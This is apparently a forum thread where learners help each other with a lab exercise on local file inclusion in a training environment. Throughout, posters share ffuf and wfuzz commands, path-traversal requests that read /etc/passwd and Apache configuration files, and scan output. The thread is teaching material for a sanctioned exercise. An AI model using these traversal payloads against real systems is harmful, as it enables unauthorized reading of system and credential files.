

File Inclusion/Automated Scanning[questions]

[file-inclusion](#)

[renu08](#) 1 July 8, 2022, 8:16am

hey guys,can some one help me for this question?

i fuzz this <http://46.101.78.118:32280> and find exposed parameters,but nothing else,

please help me ,thank you very much!

[PayloadBunny](#) 2 July 8, 2022, 9:01am

After you have found the parameter, you need to test it for vulnerability. If you know how the parameter is vulnerable, you can read the flag.

[renu08](#) 3 July 8, 2022, 9:12am

thank you answer,i use the fuff test the parameters but i do not find this parameter,

example: ffuf -w ./burp-parameter-names.txt :FUZZ -u '<http://46.101.78.118:32280?FUZZ=value>' -fs 0

finally,i can not find this paramenters , then i do not how to deal with problem

[PayloadBunny](#) 4 July 8, 2022, 9:22am

-fs 0 will not work. You have to find out the size of the answer first.

[renu08](#) 5 July 8, 2022, 10:27am

thank you very much ,i success

calcium 6 July 12, 2022, 8:08am

Hi, I'm getting 200 on all requests using the LFI wordlist and tried testing some payloads but they are not working. not sure if this is correct or not. need tips. thanks

renu08 7 July 12, 2022, 8:14am

you should pay attention to -fs size, then you can get correct result.

calcium 8 July 12, 2022, 8:19am

how should I find the fs size. all I can see is they have the same file size. thanks

calcium 9 July 12, 2022, 8:28am

i got it now. thanks

ttornike1991 10 September 19, 2022, 9:06am

I also stuck on it , how did you find what size do u have to put ?

1 Like

ttornike1991 11 September 19, 2022, 9:14am

in -fs i put arg 0 or 2000 it has not any reason. giving back huge amount of status 200 material , help please

XANTAN 12 September 24, 2022, 1:34pm

Good afternoon.

I want to share my experience of passing this room.

One of the most incomprehensible tasks in my opinion.

I had to spend a lot of time looking for a solution, which turned out to be not so much complicated as confusing.

Due to the fact that I am not a native English speaker and I have to use a translator, the meaning and essence of the question is very often lost. And in order to understand what you need, you have to try a large number of ways and methods.

When you make a request `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>/index.php?FUZZ = value' -fs 2287`

You get a lot of directory names. They are all Size: 2309, but 1 is different from them. Find it!

Once you've found it, don't waste your time. I tried many tricks and methods of attack. Up to the use of Metasploit and an exploit for Apache.

When you got the directory name and `-fs` "its size". You can find an example from this link and use "Find its name in this list" [File Inclusion/Path traversal - HackTricks](#).

You can run a search with `sudo ffuf -w ./LFI-Jhaddix.txt:FUZZ -u 'http://ip-server/index.php?xxxx=../../../../../FUZZ' -fs "found size"`

In this way, you will find examples of requests that you need to enter into your browser. Don't look for the flag right away! It's practically meaningless until you understand what it takes.

Try getting passwd output first and make sure the query and directory traversal work!

Only then will you be able to easily find the flag.

Don't use

`ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>/index.php?language=FUZZ' -fs 2287`

It's pointless. You will receive a large amount of incomprehensible information, as a result, I did not understand the meaning of this request. Gives only a general picture, but I did not find my `-fs` in this big list

This meaningless conclusion does nothing, but only takes time.

and also I did not find even approximately a close request that can be used. It's one thing when you already know what it looks like, another thing when you look at a long list of queries and try to apply them at random!

That's bullshit.

`curl http://<SERVER_IP>/index.php?language=../../../../../etc/apache2/apache2.conf`
as well as

`curl http://<SERVER_IP>/index.php?language=../../../../../etc/apache2/envvars`

It also took a lot of time and I did not fully understand why they are needed in the task.

Perhaps the problem is with the translator, but in any case, in my practice, I find that my time is precious, and if I can minimize costs and make everything faster and easier, then it's better to do so. The main thing is the result at the lowest possible cost. I value my time and it seems to me that it is better to use it to improve your skills.

Good luck.

4 Likes

[mattdragon2](#) 13 March 16, 2023, 3:18pm

I wasted a lot of time trying to find the log files ie access.log so I could poison them and then find the flag, but you don't need to do that at all.

Find the parameter, you'll notice you will get tons of results back because the results are just showing you the same webpage, so you need to filter out the size as that will help tell you if the webpage is different to the index.php cause it should differ in size. So if all the responses are 555, you can use `| grep -v 555`. That will find everything that doesn't match 555 .

```
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ
```

When you find the 1 parameter, you need to find the base directory. I did this by:

XXXX = the 1 parameter you found.

Once again the command below will return many results so I used `grep -v` to filter.

```
ffuf -w /LFI-Jhaddix.txt:FUZZ -u 'http://ip+port/index.php?XXXX=../../../../F
```

Then you will get some results. Count the amount of `../../../../` you need. Then you will be able to access the passwd file in the browser using

Where I put `../../../../` you need to put as many as you saw on the response above

```
http://ip+port/index.php?XXXX=../../../../etc/passwd
```

When you can read the passwd file, then just replace `etc/passwd` with `flag.txt`

I was trying to access the `/var/log/apache2/access.log` and I couldn't, which got me stumped.

I also saw a lastlog which I couldn't access, so down the rabbit hole.

5 Likes

[scruffyvonwinkle](#) 14 March 21, 2023, 5:49pm

Assuming you've found the index.php

I ended up using wfuzz. Was having a hard time filtering out the -fs 2309 with grep.

try maybe

```
wfuzz -z file,burp-parameter-names.txt http://ipaddress:port/index.php?FUZZ=value  
try the --hh switch once it start spitting out the the same number that your not looking for.
```

For me, spat out only one parameter of different size this way which was XXXX (4 characters long, not sure if it changes with machines)

Repeat the procedure on the found parameter using the wordlist suggested in the hint box.

[juvline](#) 16 April 26, 2023, 8:25am

I can't do it, can you give me some suggestion

[juvline](#) 17 April 26, 2023, 8:34am

what's mean value? en.php or es.php. I can't understand it.

[ssh25621](#) 18 May 5, 2023, 9:19am

I will leave bash script to filter out the result, don't work hard, work smart)
grep -v '1935' result.txt > result1.txt, I am sure it will help you.

[Luv2Hack](#) 19 May 12, 2023, 2:01pm

The suggested wordlist did not provide me with anything. I used the SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt to pull the right parameter value.

1. FUZZ for parameters using the recommended method in the material.
/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP:PORT/index.php?FUZZ=value' -fs [filter value]
2. Use the parameter found, [YOUR PARAM], and the LFI-LFISuite-pathtotest-huge.txt wordlist to grab the correct path. DO NOT USE THE 'LFI-Jhaddix.txt'.
/LFI-LFISuite-pathtotest-huge.txt:FUZZ -u 'http://<SERVER_IP:PORT/index.php?[YOUR PARAM]=FUZZ' -fs [filter value]

1 Like

[alienfader](#) 20 May 21, 2023, 10:43pm

Hello everyone.

I was able to find the parameter (XXXX) and 6 results on my /[parameter]=FUZZ scan. but none of the results take me anywhere.

like every other activity on this platform, it has taken me over 18 days to get here. Can Someone give me a helping hand here?

[alienfader](#) 21 May 21, 2023, 10:50pm

I've tried your way and got more results, but again. They are not taking me anywhere.
could you help me please?

[asifabid](#) 22 May 22, 2023, 6:12pm

mattdragon2:

at will find everything that doesn't matc

| grep -v 2309

was looking for " | grep -v 2309" this on google... and find this in your comment on the forum... good work man... thanks

[ilto](#) 23 June 2, 2023, 3:33pm

Hello.

Actually, the solution is very simple. If you know how to use the Fuff tool, the solution will take 3 minutes.

First, we use "[burp-parameter-names.txt](#)" payloads to find the parameter. We are filtering the "-fs" result size.

```
ffuf -w burp-parameter-names.txt:FUZZ -u "http://46.101.82.246:30730/index.php:
```

-fs size may differ.

XXXX = the 1 parameter you found.

After finding XXXX. Try "[LFI-Jhaddix.txt](#)" payloads to read `/etc/passwd` file.

```
ffuf -w LFI-Jhaddix.txt:FUZZ -u "http://46.101.82.246:30730/index.php?XXXX=FUZZ
```

4 Likes

```

:: Method      : GET
:: URL         : http://94.237.62.195:44373/index.php?view=FUZZ
:: Wordlist     : FUZZ: /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration  : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403,405,500
:: Filter      : Response size: 1935

[Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 179ms]
* FUZZ: ../../../../../../../../../../../../../../../../../../etc/passwd

[Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 179ms]
* FUZZ: ../../../../../../../../../../../../../../../../../../etc/passwd

[Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 179ms]
* FUZZ: ../../../../../../../../../../../../../../../../../../etc/passwd

[Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 182ms]
* FUZZ: ../../../../../../../../../../../../../../../../../../etc/passwd

[Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 185ms]
* FUZZ: ../../../../../../../../../../../../../../../../../../etc/passwd

[Status: 200, Size: 3309, Words: 526, Lines: 82, Duration: 180ms]
* FUZZ: ../../../../../../../../../../../../../../../../../../etc/passwd

:: Progress: [922/922] :: Job [1/1] :: 219 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

```

1 Like

Thanks by the explanation support me to understand how works this skills assignments.

Hey Luv2Hack, thank you for your help. It was very helpful, as i was drowning myself in unnecessary confusion. Just managed it! Cheers!

yes it's all sweet, but...


```
:: Method      : GET
:: URL         : http://94.237.48.205:53199/index.php?view=FUZZ
:: Wordlist     : FUZZ: /home/kali/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration  : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200-299,301,302,307,401,403,405,500
:: Filter      : Response size: 1935

:: Progress: [1/1] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
```

i can't understand why it doesn't work!!!

[erdsmoc](#) 30 April 18, 2024, 7:07am

path of LFI-Jhaddix.txt (worldlist) may not be the same
Check path of file or worldlist

[aircracker](#) 31 May 18, 2024, 6:07pm

I'm speechless. I spent more than 3 hours trying to get RCE to find the flag easily because I imagined that it was named with some kind of random numbers. It was in the root folder with the name "flag.txt"... Nice.

[alhasawi](#) 32 July 11, 2024, 12:45pm

thanks